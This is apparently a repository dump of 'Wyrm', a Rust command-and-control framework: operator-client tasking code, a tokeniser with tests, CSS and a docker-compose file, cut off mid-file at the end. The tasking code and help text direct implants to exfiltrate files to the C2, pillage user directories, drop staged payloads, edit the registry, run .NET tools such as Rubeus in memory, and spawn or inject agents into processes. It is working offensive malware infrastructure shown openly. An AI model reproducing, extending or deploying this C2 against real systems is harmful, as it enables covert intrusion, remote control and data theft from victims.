Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("Could not get data from tokens in pull_file.".into()), )); } }; Ok(Some( api_request( AdminCommand::Pull(target.to_string()), agent, None, C2Url::Standard, None, ) .await?, )) } pub async fn remove_agent(agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; let _ = api_request( AdminCommand::RemoveAgentFromList, agent, None, C2Url::Standard, None, ) .await?; // Remove agent from connected_agents let tabs: RwSignal<ActiveTabs> = use_context().expect("could not get tabs context in kill_agent()"); if let IsTaskingAgent::Yes(agent_id) = agent { tabs.update(|t| t.remove_tab(agent_id)); } Ok(None) } pub fn unknown_command() -> DispatchResult { leptos::logging::log!( "Unknown command or you did not supply the correct number of arguments. Type \"help (command)\" \ to see the instructions for that command.", ); Err( TaskingError::TaskDispatchError( TaskDispatchError::BadTokens( "Unknown command or you did not supply the correct number of arguments. Type \"help {command}\" \ to see the instructions for that command.".into() ) ) ) } pub async fn set_sleep(sleep_time: &str, agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; let sleep_time: i64 = match sleep_time.parse() { Ok(s) => s, Err(e) => { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens(format!("Could not parse new sleep time. {e}")), )); } }; // As on the C2 we need the sleep time to be an i64, but the implant needs it to be a u64, // we want to make sure we aren't going to get any overflow behaviour which could lead to // denial of service or other errors. We check the input number is not less than or = to 0. // We do not need to check the upper bound because an i64 MAX will fit into a u64. if sleep_time <= 0 { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("Sleep time must be greater than 1 (second)".into()), )); } Ok(Some( api_request( AdminCommand::Sleep(sleep_time), agent, None, C2Url::Standard, None, ) .await?, )) } /// Clears the terminal of the selected tab / agent for the operator. This does not clear the database. pub async fn clear_terminal(agent: &IsTaskingAgent) -> DispatchResult { if let IsTaskingAgent::Yes(agent_id) = agent { let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> = use_context().expect("could not get RwSig connected_agents"); let mut lock = connected_agents.write(); if let Some(agent) = (*lock).get_mut(agent_id) { // Clear the chat from browser store let tabs: RwSignal<ActiveTabs> = use_context().expect("could not get tabs context in CommandInput()"); let lock = tabs.read(); let name = lock.active_id.as_ref().unwrap(); delete_item_in_browser_store(&wyrm_chat_history_browser_key(name)); // Clear chat from in memory representation agent.update(|a| a.output_messages.clear()); } else { leptos::logging::log!("Agent ID: {agent_id} not found when trying to clear console."); } } Ok(None) } pub async fn pwd(agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; Ok(Some( api_request(AdminCommand::Pwd, agent, None, C2Url::Standard, None).await?, )) } pub async fn export_db(agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; Ok(Some( api_request(AdminCommand::ExportDb, agent, None, C2Url::Standard, None).await?, )) } pub async fn dir_listing(agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; Ok(Some( api_request(AdminCommand::Ls, agent, None, C2Url::Standard, None).await?, )) } pub async fn show_server_time() -> DispatchResult { let result = api_request( AdminCommand::ShowServerTime, &IsTaskingAgent::No, None, C2Url::Standard, None, ) .await?; let deserialised_response: DateTime<Utc> = serde_json::from_slice(&result)?; let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> = use_context().expect("could not get RwSig connected_agents"); let mut lock = connected_agents.write(); if let Some(agent) = (*lock).get_mut("Server") { agent.update(|guard| { guard .output_messages .push(TabConsoleMessages::non_agent_message( "ServerTime".into(), deserialised_response.to_string(), )) }); } Ok(None) } pub async fn pillage(agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; Ok(Some( api_request( AdminCommand::ListUsersDirs, agent, None, C2Url::Standard, None, ) .await?, )) } /// Show the help menu to the user pub async fn show_help(agent: &IsTaskingAgent) -> DispatchResult { let messages: Vec<String> = vec![ "help <command>".into(), "exit (Exit's the client)".into(), "servertime (Shows the local time of the server)".into(), "kill_agent | ka (terminates the agent on the endpoint)".into(), "remove_agent | ra (removes the agent from the interface; until it reconnects)".into(), "cls | clear (clears the terminal)".into(), "".into(), "export_db (will export the database to /data/exports/{agent_id})".into(), "set sleep [time SECONDS]".into(), "ps".into(), "cd <relative path | absolute path>".into(), "pwd".into(), "ls".into(), "cp <from> <to> | copy <from> <to> (accepts relative or absolute paths)".into(), "mv <from> <to> | move <from> <to> (accepts relative or absolute paths)".into(), "rm <path to file> (removes file [this command cannot remove a directory] - accepts relative or absolute paths)".into(), "rm_d <path to dir> (removes directory - accepts relative or absolute paths)".into(), "pull <path> (Exfiltrates a file to the C2. For more info, type help pull.)".into(), "pillage".into(), "run".into(), "kill <pid>".into(), "drop <server recognised name> <filename to drop on disk (including extension)>".into(), "reg query <path_to_key>".into(), "reg query <path_to_key> <value> (for more info, type help reg)".into(), "reg add <path_to_key> <value name> <value data> <data type> (for more info, type help reg)".into(), "reg del <path_to_key> <Optional: value name> (for more info, type help reg)".into(), "dotex <bin> <args> (execute a dotnet binary in memory in the implant, for more info type help dotex)".into(), "whoami (natively, without powershell/cmd, retrieves your SID, domain\\username and token privileges".into(), "spawn <staged name> (spawns a new Wyrm agent through Early Cascade Injection)".into(), "inject <staged name> <target pid>".into(), "wof <function name> (run's a Wyrm Object File [statically linked only right now] on the agent's main thread)".into(), ]; if let IsTaskingAgent::Yes(agent_id) = agent { let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> = use_context().expect("could not get RwSig connected_agents"); let mut lock = connected_agents.write(); if let Some(agent) = (*lock).get_mut(agent_id) { agent.update(|guard| { guard.output_messages.push(TabConsoleMessages { completed_id: 0, event: "HelpMenu".into(), time: "-".into(), messages, }) }); } } Ok(None) } /// Shows help for a specified command where further details are available pub async fn show_help_for_command(agent: &IsTaskingAgent, command: &str) -> DispatchResult { let messages: Vec<String> = match command { "drop" => vec![ "Drops a file to disk. The file dropped must be staged on the C2 first, otherwise the process will not complete.".into(), "This command will drop the payload into the CURRENT working directory of the agent.".into(), "Arg1: The colloquial server name for the file you are dropping (appears in the Staged Resources panel as the 'Name' column)".into(), "Arg2: The destination filename of what you want to drop, if you want this file to have an extension, you must included that.".into(), " For example, if dropping a DLL staged as my_dll, you may wish to do: drop my_dll version.dll, which will save the DLL as version.dll on disk.".into(), ], "pull" => vec![ "Usage: pull <file path>".into(), "Exfiltrates a file to the C2 by its file path, which can be relative or absolute. This will upload the file to the".into(), "C2 and save it under: c2/<target hostname>/<file path as per targets full path>.".into(), "If a file already exists at that location, it will be overwritten. Note, using `pull` will cause the file to be uploaded as a buffered stream".into(), "meaning you can exfiltrate files of any size without causing the device to go out of memory.".into(), ], "reg query" => vec![ "Usage: reg query <path_to_key> <OPTIONAL: value>".into(), "Queries the registry by a path to the key, with an optional value if you wish to query only a specific value".into(), "If the path contains whitespace, ensure you wrap it in \"quotes\".".into(), ], "reg" => vec![ "reg query".into(), "Usage: reg query <path_to_key> <OPTIONAL: value>".into(), "Queries the registry by a path to the key, with an optional value if you wish to query only a specific value".into(), "If the path contains whitespace, ensure you wrap it in \"quotes\".".into(), "".into(), "".into(), "reg add".into(), "Usage: reg add <path_to_key> <value name> <value data> <data type>".into(), "Modifies the registry by either adding a new key if it did not already exist, or updating an existing key.".into(), "For the data type, you should specify either: string, DWORD, or QWORD depending on the data you are writing.".into(), "You can then check the addition by running reg query <args>.".into(), "".into(), "".into(), "reg del".into(), "Usage: reg del <path_to_key> <Optional: value name>".into(), "Deletes a registry key, or value, based on above args. Deleting the key will delete all sub-keys under it, so take care.".into(), ], "dotex" => vec![ "dotex <binary> <args>".into(), "Executes a dotnet binary in memory within the implant, without having it drop to disk! currently, this only executes within the implants".into(), "process, meaning if you run a never ending dotnet binary, you will (probably) lose that beacon.".into(), "".into(), "To stage a dotnet binary, where the C2 is installed (outside of docker) you will find a folder in the Wyrm root called c2_transfer.".into(), "Simply drag a file into this directory and it will be auto-copied into the C2 without needing a restart. Whatever you call".into(), "that binary, you can then invoke it with dotex. For example, if you drop Rubeus.exe into c2_transfer, you can run Rubeus in the".into(), "agent via: dotex Rubeus.exe klist.".into(), "".into(), "The results of the execution will then be shown in your output terminal in the GUI.".into(), ], _ => vec!["No help pages available for this command, or it does not exist.".into()], }; if let IsTaskingAgent::Yes(agent_id) = agent { let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> = use_context().expect("could not get RwSig connected_agents"); let mut lock = connected_agents.write(); if let Some(agent) = (*lock).get_mut(agent_id) { agent.update(|guard| { guard.output_messages.push(TabConsoleMessages { completed_id: 0, event: "HelpMenu".into(), time: "-".into(), messages, }) }); } } Ok(None) } pub async fn run_powershell_command(args: &[&str], agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; let mut args_string: String = String::new(); for arg in args { args_string += arg; args_string += " "; } let args_trimmed = args_string.trim().to_string(); Ok(Some( api_request( AdminCommand::Run(args_trimmed), agent, None, C2Url::Standard, None, ) .await?, )) } /// Instructs the agent to drop a staged file onto disk on the target endpoint. pub async fn file_dropper(args: &[&str], agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; if args.len() != 2 { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens( "Invalid number of args passed into the `drop` command.".into(), ), )); } if args[0].contains(DELIM_FILE_DROP_METADATA) || args[1].contains(DELIM_FILE_DROP_METADATA) { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("Input cannot contain a comma.".into()), )); } let file_data = FileDropMetadata { internal_name: args[0].to_string(), download_name: args[1].to_string(), // This is computed on the C2 download_uri: None, }; let response = api_request( AdminCommand::Drop(file_data), agent, None, C2Url::Standard, None, ) .await?; let result = serde_json::from_slice::<WyrmResult<String>>(&response) .expect("could not deser response from Drop"); if let WyrmResult::Err(e) = result { if let IsTaskingAgent::Yes(agent_id) = agent { let connected_agents: RwSignal<HashMap<String, RwSignal<Agent>>> = use_context().expect("could not get RwSig connected_agents"); let mut lock = connected_agents.write(); if let Some(agent) = (*lock).get_mut(agent_id) { agent.update(|a| { a.output_messages .push(TabConsoleMessages::non_agent_message("[Drop]".into(), e)) }); } } } Ok(None) } pub enum RegOperationDelQuery { Query, Delete, } /// Queries or deletes a registry key. /// /// Arg for [`RegOperationDelQuery`] specifies the tasking. pub async fn reg_query_del( inputs: String, agent: &IsTaskingAgent, operation: RegOperationDelQuery, ) -> DispatchResult { agent.has_agent_id()?; if inputs.is_empty() { leptos::logging::log!("Please specify options."); } // // We have a max of 2 values we can get from this task. The first is specifying a key and value, // second is just the key. // // The strategy here is to try resolve 2 strings in the input, if that fails, we try 1 string, then we have // the proper options // let reg_query_options = split_string_slices_to_n(2, &inputs, DiscardFirst::ChopTwo); let mut reg_query_options = if reg_query_options.is_none() { match split_string_slices_to_n(1, &inputs, DiscardFirst::ChopTwo) { Some(s) => s, None => { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("Could not find options for command".into()), )); } } } else { reg_query_options.unwrap() }; let query_data: RegQueryInner = if reg_query_options.len() == 2 { ( take(&mut reg_query_options[0]), Some(take(&mut reg_query_options[1])), ) } else { (take(&mut reg_query_options[0]), None) }; let result = match operation { RegOperationDelQuery::Query => { api_request( AdminCommand::RegQuery(query_data), agent, None, C2Url::Standard, None, ) .await? } RegOperationDelQuery::Delete => { api_request( AdminCommand::RegDelete(query_data), agent, None, C2Url::Standard, None, ) .await? } }; Ok(Some(result)) } /// Queries a registry key pub async fn reg_add(inputs: String, agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; if inputs.is_empty() { leptos::logging::log!("Please specify options."); } // // We have a max of 2 values we can get from this task. The first is specifying a key and value, // second is just the key. // // The strategy here is to try resolve 2 strings in the input, if that fails, we try 1 string, then we have // the proper options // let mut reg_add_options = split_string_slices_to_n(4, &inputs, DiscardFirst::ChopTwo) .ok_or_else(|| { TaskingError::TaskDispatchError(TaskDispatchError::BadTokens( "Could not find options for command".into(), )) })?; let reg_type = match reg_add_options[3].as_str() { "string" | "String" => RegType::String, "u32" | "U32" | "dword" | "DWORD" => RegType::U32, "u64" | "U64" | "qword" | "QWORD" => RegType::U64, _ => { return Err(TaskingError::TaskDispatchError(TaskDispatchError::BadTokens( "Could not extrapolate type, the final param should be either string, dword, or qword depending on the data type".into(), ))); } }; // Validate input before we get to the implant.. if validate_reg_type(reg_add_options[2].as_str(), reg_type).is_err() { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens(format!( "Could not parse value for the type specified. Tried parsing {} as {}", reg_add_options[2], reg_add_options[3], )), )); }; let query_data: RegAddInner = ( take(&mut reg_add_options[0]), take(&mut reg_add_options[1]), take(&mut reg_add_options[2]), reg_type, ); Ok(Some( api_request( AdminCommand::RegAdd(query_data), agent, None, C2Url::Standard, None, ) .await?, )) } pub async fn dotex(inputs: String, agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; if inputs.is_empty() { leptos::logging::log!("Please specify options."); } let slices = split_string_slices_to_n(0, &inputs, DiscardFirst::Chop).ok_or_else(|| { TaskingError::TaskDispatchError(TaskDispatchError::BadTokens( "Could not find options for command".into(), )) })?; if slices.is_empty() { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("Options were empty. Cannot continue.".into()), )); } let tool = slices[0].clone(); let args = slices[1..].to_vec(); let inner = DotExInner::from(tool, args); Ok(Some( api_request( AdminCommand::DotEx(inner), agent, None, C2Url::Standard, None, ) .await?, )) } pub async fn whoami(agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; Ok(Some( api_request(AdminCommand::WhoAmI, agent, None, C2Url::Standard, None).await?, )) } pub async fn spawn(raw_input: String, agent: &IsTaskingAgent) -> DispatchResult { agent.has_agent_id()?; let target_path = match split_string_slices_to_n(1, &raw_input, DiscardFirst::Chop) { Some(mut inner) => take(&mut inner[0]), None => { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("Could not get data from tokens in move_file.".into()), )); } }; Ok(Some( api_request( AdminCommand::Spawn(target_path), agent, None, C2Url::Standard, None, ) .await?, )) } pub async fn run_static_wof(agent: &IsTaskingAgent, raw_input: String) -> DispatchResult { agent.has_agent_id()?; let mut builder = vec![]; let args = match split_string_slices_to_n(2, &raw_input, DiscardFirst::Chop) { Some(mut inner) => { builder.push(take(&mut inner[0])); let mut args = take(&mut inner[1]); args.push('\0'); // add a null byte on for C compat builder.push(args); Some(builder) } None => match split_string_slices_to_n(1, &raw_input, DiscardFirst::Chop) { Some(mut s) => { builder.push(take(&mut s[0])); Some(builder) } None => None, }, }; let ser = match serde_json::to_string(&args) { Ok(s) => s, Err(e) => { return Err(TaskingError::TaskDispatchError( TaskDispatchError::DeserialisationError(e), )); } }; Ok(Some( api_request( AdminCommand::StaticWof(ser), agent, None, C2Url::Standard, None, ) .await?, )) } pub async fn inject(agent: &IsTaskingAgent, raw_input: String) -> DispatchResult { agent.has_agent_id()?; let (payload, pid_as_string) = match split_string_slices_to_n(2, &raw_input, DiscardFirst::Chop) { Some(mut inner) => (take(&mut inner[0]), (take(&mut inner[1]))), None => { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens("Could not get data from tokens in move_file.".into()), )); } }; let Ok(pid) = pid_as_string.parse::<u32>() else { return Err(TaskingError::TaskDispatchError( TaskDispatchError::BadTokens(format!( "Could not parse PID to a u32. Got: {pid_as_string}" )), )); }; let inner = InjectInnerForAdmin { download_name: payload, pid, }; Ok(Some( api_request( AdminCommand::Inject(inner), agent, None, C2Url::Standard, None, ) .await?, )) } ================================================ FILE: client/src/tasks/utils.rs ================================================ use std::mem::take; use shared::task_types::RegType; /// Splits a string into exactly `n` chunks, treating quoted substrings as single tokens. /// Optionally discards the first token, which is useful if the input string begins with a command. /// /// # Args /// * `n` - The expected number of resulting tokens. If you have no expectation (it is open ended) set `n` to 0. /// * `strs` - The input string slice to be tokenised. /// * `discard_first` - Whether the first discovered token should be discarded (`Chop`) or kept (`DontChop`). If you /// wish to chop the first 2 params, select [`DiscardFirst::ChopTwo`] /// /// # Returns /// Returns `Some(Vec<String>)` if exactly `n` tokens are produced after processing, /// otherwise returns `None`. /// /// # Example /// ``` /// let s = "a b \"c d\" e".to_string(); /// assert_eq!( /// split_string_slices_to_n(4, &s, DiscardFirst::DontChop), /// Some(vec![ /// "a".to_string(), /// "b".to_string(), /// "c d".to_string(), /// "e".to_string(), /// ]) /// ) /// ``` pub fn split_string_slices_to_n( n: usize, strs: &str, mut discard_first: DiscardFirst, ) -> Option<Vec<String>> { // Account for chopping first 2 params let mut discarding_two = false; if discard_first == DiscardFirst::ChopTwo { discard_first = DiscardFirst::Chop; discarding_two = true; } // Flatten the slices let mut chunks: Vec<String> = Vec::new(); let mut s = String::new(); let mut toggle: bool = false; for c in strs.chars() { if c == '"' { if toggle { toggle = false; if !s.is_empty() { chunks.push(take(&mut s)); } s.clear(); } else { // Start of a quoted string toggle = true; } } else if c == ' ' && !toggle { if discard_first == DiscardFirst::Chop && chunks.is_empty() { discard_first = DiscardFirst::DontChop; s.clear(); } if !s.is_empty() { chunks.push(take(&mut s)); } s.clear(); } else { s.push(c); } } // Handle the very last chunk which didn't get pushed by the loop if !s.is_empty() { chunks.push(s); } // Account for chopping first 2 params if discarding_two { chunks.remove(0); } if chunks.len() != n && n != 0 { return None; } Some(chunks) } /// Determines whether the [`split_string_slices_to_n`] function should discard the first /// found substring or not - this would be useful where the command is present in the input /// string. #[derive(PartialEq, Eq)] pub enum DiscardFirst { Chop, ChopTwo, DontChop, } #[cfg(test)] mod tests { use super::*; #[test] fn tokens_with_no_quotes() { let s = "a b c d e f g ".to_string(); assert_eq!( split_string_slices_to_n(7, &s, DiscardFirst::DontChop), Some(vec![ "a".to_string(), "b".to_string(), "c".to_string(), "d".to_string(), "e".to_string(), "f".to_string(), "g".to_string() ]) ) } #[test] fn tokens_with_quotes_space() { let s = "a b \"c d\" e".to_string(); assert_eq!( split_string_slices_to_n(4, &s, DiscardFirst::DontChop), Some(vec![ "a".to_string(), "b".to_string(), "c d".to_string(), "e".to_string(), ]) ) } #[test] fn tokens_with_quotes() { let s = "a b \"c d\" e".to_string(); assert_eq!( split_string_slices_to_n(4, &s, DiscardFirst::DontChop), Some(vec![ "a".to_string(), "b".to_string(), "c d".to_string(), "e".to_string(), ]) ) } #[test] fn tokens_bad_count() { let s = "a b \"c d\" e".to_string(); assert_eq!( split_string_slices_to_n(5, &s, DiscardFirst::DontChop), None ) } } pub fn validate_reg_type(input: &str, reg_type: RegType) -> Result<(), ()> { match reg_type { RegType::String => (), RegType::U32 => { if let Err(_) = input.parse::<u32>() { return Err(()); } } RegType::U64 => { if let Err(_) = input.parse::<u64>() { return Err(()); } } } Ok(()) } ================================================ FILE: client/static/main_styles.css ================================================ :root{ --agents-h: 30%; --input-h: 48px; --bg: rgb(36,39,58); --link: rgb(202, 211, 245); --link-hover: rgb(240, 198, 198); --page-inner-box: rgb(54, 58, 79); --text-color: rgb(202, 211, 245); } html, body { height:100%; margin:0; } body.app{ display:grid; grid-template-rows: auto var(--agents-h) auto 1fr var(--input-h); min-height:100vh; /* overflow:hidden; */ background: var(--bg); } .container { max-width: 960px; } nav a { color: var(--link)!important; } nav a:hover { color: var(--link-hover)!important; } nav a.active { color: var(--link-hover)!important; } nav a.plain { color: var(--link)!important; } .dropdown-menu { background-color: rgb(54, 58, 79); } .dropdown-item:hover { background-color: rgb(73, 77, 100); } #connected-agent-container{ overflow:auto; margin-bottom: 10px; } div#connected-agent-container div { padding: 3px 0 3px 0; } div#connected-agent-container a { font-family: Arial, Helvetica, sans-serif; color: var(--link); text-decoration: none; } div#connected-agent-container a:hover { color: var(--link-hover); } div#connected-agent-container div#agents-header { height: 20px; font-weight: bold!important; margin-bottom: 8px!important; color: var(--link); } div.center-table { overflow-y: scroll!important; } #display-panel { margin-top: 20px; } #display-panel ul { overflow-y: hidden!important; } #display-panel a { color: rgb(238, 212, 159); } #display-panel a:hover { color: rgb(238, 153, 160); } #display-panel a.active { background-color: rgb(36, 39, 58)!important; color: rgb(24, 25, 38)!important; } #message-panel{ overflow:auto; padding: 15px 15px 0 15px!important; background: var(--page-inner-box); padding-bottom: var(--input-h); scrollbar-gutter: stable both-edges; color: var(--link); font-size: 14px; } .site-header { background-color: rgb(54, 58, 79); -webkit-backdrop-filter: saturate(180%) blur(20px); backdrop-filter: saturate(180%) blur(20px); } .site-header a { color: #999; transition: ease-in-out color .15s; } .site-header a:hover { color: #fff; text-decoration: none; } .border-top { border-top: 1px solid #e5e5e5; } .border-bottom { border-bottom: 1px solid #e5e5e5; } .box-shadow { box-shadow: 0 .25rem .75rem rgba(0, 0, 0, .05); } .flex-equal > * { -ms-flex: 1; -webkit-box-flex: 1; flex: 1; } @media (min-width: 768px) { .flex-md-equal > * { -ms-flex: 1; -webkit-box-flex: 1; flex: 1; } } .overflow-hidden { overflow: hidden; } .overflow-x-auto { overflow-x: auto; overflow-y: hidden!important; -webkit-overflow-scrolling: touch; } .input-strip { position: fixed; bottom: 0; left: 0; right: 0; height: 48px; background-color: #2b2d42; border-top: 1px solid #444; z-index: 1030; } #input-strip{ background:#2b2d42; border-top:1px solid #444; color: var(--link); } .input-strip input { background: transparent; border: none; color: rgb(36, 39, 58); background-color: rgb(147, 154, 183); } .input-strip button { margin-left: 20px!important; } .input-strip input:focus { outline: none; box-shadow: none; } .tabbar{ overflow-x:auto; overflow-y:hidden; background: var(--bg); border-bottom: 1px solid #616779; -webkit-overflow-scrolling: touch; } .tabbar .nav-link { color: rgb(238,212,159); } .tabbar .nav-link:hover { color: rgb(238,153,160); } .tabbar .nav-link.active{ background: var(--page-inner-box); color: var(--link-hover) !important; } .tabbar::-webkit-scrollbar { height:6px; } .tabbar::-webkit-scrollbar-thumb { background:#868e96; border-radius:3px; } .tabbar { scrollbar-width:thin; scrollbar-color:#868e96 transparent; } a.agent-stale { color: rgb(128, 135, 162)!important; } #file-upload-form, #stage-all-form { background-color: var(--page-inner-box); } .app-page, .app-page p { color: rgb(202, 211, 245); } div.form-text { color: rgb(165, 173, 203); } .dropdown-item.active, .dropdown-item:active { background-color: rgb(54, 58, 79); } #building-indicator { display: none; } .htmx-request#building-indicator { display: block; } div.alert-wyrm { background-color: rgb(244, 219, 214); color: var(--page-inner-box); } table#staged-resources-tbl, table#staged-resources-tbl thead, table#staged-resources-tbl tbody, table#staged-resources-tbl tr th, table#staged-resources-tbl tr td, table#staged-resources-tbl tr { background-color: var(--page-inner-box)!important; color: var(--text-color)!important; } table#staged-resources-tbl tr td a { color: var(--link-hover); text-decoration: none; } table#staged-resources-tbl tr td a:hover { color: var(--link); text-decoration: none; } ================================================ FILE: client/static/styles.css ================================================ :root{ --agents-h: 30%; --input-h: 48px; --bg: rgb(36,39,58); --link: rgb(202, 211, 245); --link-hover: rgb(240, 198, 198); --page-inner-box: rgb(54, 58, 79); --text-color: rgb(202, 211, 245); } html, body { height: 100%; margin: 0; } /* --- app layout (your "body 2") --- */ body.app{ display: grid; grid-template-rows: auto var(--agents-h) auto 1fr var(--input-h); min-height: 100vh; background: var(--bg); } /* --- login layout (only when body has .login) --- */ body.login{ min-height: 100vh; display: flex; align-items: center; justify-content: center; padding-block: 40px; background: #000; } /* the container itself; keep it simple */ .login-container{ display: flex; align-items: center; justify-content: center; width: 100%; max-width: 440px; /* tweak as needed */ } div.login-container { display: -ms-flexbox; display: -webkit-box; display: flex; -ms-flex-align: center; -ms-flex-pack: center; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; padding-top: 40px; padding-bottom: 40px; background-color: rgb(0,0,0); } .form-signin { width: 100%; max-width: 330px; padding: 15px; margin: 0 auto; color: rgb(244, 219, 214); } .form-signin .checkbox { font-weight: 400; } .form-signin .form-control { position: relative; box-sizing: border-box; height: auto; padding: 10px; font-size: 16px; } .form-signin .form-control:focus { z-index: 2; } .form-signin input[type="email"] { margin-bottom: -1px; border-bottom-right-radius: 0; border-bottom-left-radius: 0; } .form-signin input[type="password"] { margin-bottom: 10px; border-top-left-radius: 0; border-top-right-radius: 0; } img.logo{ width: 100%; } footer { width: 100%; max-width: 330px; padding: 15px; margin: 0 auto; } footer p { color: rgb(73, 77, 100); } footer a { color: rgb(110, 115, 141); } footer a:hover { color: rgb(147, 154, 183); } .container { max-width: 960px; } nav a { color: var(--link)!important; } nav a:hover { color: var(--link-hover)!important; } nav a.active { color: var(--link-hover)!important; } nav a.plain { color: var(--link)!important; } .dropdown-menu { background-color: rgb(54, 58, 79); } .dropdown-item:hover { background-color: rgb(73, 77, 100); } #connected-agent-container{ overflow:auto; margin-bottom: 10px; } div#connected-agent-container div { padding: 3px 0 3px 0; } div#connected-agent-container a { font-family: Arial, Helvetica, sans-serif; color: var(--link); text-decoration: none; } div#connected-agent-container a:hover { color: var(--link-hover); } div#connected-agent-container div#agents-header { height: 20px; font-weight: bold!important; margin-bottom: 8px!important; color: var(--link); } div.center-table { overflow-y: scroll!important; } #display-panel { margin-top: 20px; } #display-panel ul { overflow-y: hidden!important; } #display-panel a { color: rgb(238, 212, 159); } #display-panel a:hover { color: rgb(238, 153, 160); } #display-panel a.active { background-color: rgb(36, 39, 58)!important; color: rgb(24, 25, 38)!important; } #message-panel{ overflow:auto; padding: 15px 15px 0 15px!important; background: var(--page-inner-box); padding-bottom: var(--input-h); scrollbar-gutter: stable both-edges; color: var(--link); font-size: 14px; } .site-header { background-color: rgb(54, 58, 79); -webkit-backdrop-filter: saturate(180%) blur(20px); backdrop-filter: saturate(180%) blur(20px); } .site-header a { color: #999; transition: ease-in-out color .15s; } .site-header a:hover { color: #fff; text-decoration: none; } .border-top { border-top: 1px solid #e5e5e5; } .border-bottom { border-bottom: 1px solid #e5e5e5; } .box-shadow { box-shadow: 0 .25rem .75rem rgba(0, 0, 0, .05); } .flex-equal > * { -ms-flex: 1; -webkit-box-flex: 1; flex: 1; } @media (min-width: 768px) { .flex-md-equal > * { -ms-flex: 1; -webkit-box-flex: 1; flex: 1; } } .overflow-hidden { overflow: hidden; } .overflow-x-auto { overflow-x: auto; overflow-y: hidden!important; -webkit-overflow-scrolling: touch; } .input-strip { position: fixed; bottom: 0; left: 0; right: 0; height: 48px; background-color: #2b2d42; border-top: 1px solid #444; z-index: 1030; } #input-strip{ background:#2b2d42; border-top:1px solid #444; color: var(--link); } .input-strip input { background: transparent; border: none; color: rgb(36, 39, 58); background-color: rgb(147, 154, 183); } .input-strip button { margin-left: 20px!important; } .input-strip input:focus { outline: none; box-shadow: none; } .tabbar{ overflow-x:auto; overflow-y:hidden; background: var(--bg); border-bottom: 1px solid #616779; -webkit-overflow-scrolling: touch; } .tabbar .nav-link { color: rgb(238,212,159); } .tabbar .nav-link:hover { color: rgb(238,153,160); } .tabbar .nav-link.active{ background: var(--page-inner-box); color: var(--link-hover) !important; } .tabbar .nav-item:not(:first-child) { position: relative; } .tabbar .nav-item:not(:first-child) .btn-close { position: absolute; right: 6px; top: 50%; transform: translateY(-50%); margin: 0; padding: 0.15rem 0.35rem; opacity: 0.85; } .tabbar .nav-item:not(:first-child) .nav-link { padding-right: 2.25rem; } .tabbar::-webkit-scrollbar { height:6px; } .tabbar::-webkit-scrollbar-thumb { background:#868e96; border-radius:3px; } .tabbar { scrollbar-width:thin; scrollbar-color:#868e96 transparent; } a.agent-stale { color: rgb(128, 135, 162)!important; } #file-upload-form, #stage-all-form { background-color: var(--page-inner-box); } .app-page, .app-page p { color: rgb(202, 211, 245); } div.form-text { color: rgb(165, 173, 203); } .dropdown-item.active, .dropdown-item:active { background-color: rgb(54, 58, 79); } #building-indicator { display: none; } .htmx-request#building-indicator { display: block; } div.alert-wyrm { background-color: rgb(244, 219, 214); color: var(--page-inner-box); } table#staged-resources-tbl, table#staged-resources-tbl thead, table#staged-resources-tbl tbody, table#staged-resources-tbl tr th, table#staged-resources-tbl tr td, table#staged-resources-tbl tr { background-color: var(--page-inner-box)!important; color: var(--text-color)!important; } table#staged-resources-tbl tr td a { color: var(--link-hover); text-decoration: none; } table#staged-resources-tbl tr td a:hover { color: var(--link); text-decoration: none; } p.msg-line { margin-bottom: 0; color: #eff1f5; white-space: pre-wrap; } .console-line { margin-bottom: 10px; } .jetbrains-gui { font-family: "JetBrains Mono", monospace; font-optical-sizing: auto; font-weight: 400; font-style: normal; } .jetbrains-gui-smaller { font-family: "JetBrains Mono", monospace; font-optical-sizing: auto; font-weight: 400; font-style: normal; font-size: 14px; } .jetbrains-gui-smallest { font-family: "JetBrains Mono", monospace; font-optical-sizing: auto; font-weight: 300; font-style: normal; font-size: 13px; } ================================================ FILE: docker-compose.yml ================================================ services: client: container_name: "client" build: context: . dockerfile: client/Dockerfile ports: - "3000:3000" c2_db: environment: POSTGRES_USER: "${POSTGRES_USER}" POSTGRES_DB: "${POSTGRES_DB}" POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}" image: postgres:18.0-alpine ports: - "5432:5432" volumes: - c2_pgdata:/var/lib/postgresql/data c2: depends_on: - c2_db - nginx build: context: . dockerfile: c2/Dockerfile environment: C2_PORT: "13371" C2_HOST: "0.0.0.0" POSTGRES_USER: "${POSTGRES_USER}" POSTGRES_PASSWORD: "${POSTGRES_PASSWORD}" POSTGRES_HOST: "c2_db" POSTGRES_DB: "${POSTGRES_DB}" ports: - "13371:13371" volumes: - c2_data:/data - ./c2_transfer:/tools - ./wofs_static:/wofs_static nginx: image: nginx:latest ports: - 443:443 - 80:80 volumes: - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro - ./nginx/certs:/etc/nginx/certs:ro volumes: c2_data: c2_pgdata: ================================================ FILE: implant/.cargo/config.toml ================================================ [target.x86_64-pc-windows-msvc] rustflags = [ "-Z", "location-detail=none", # "-Z", "fmt-debug=none", "-C", "panic=abort", # 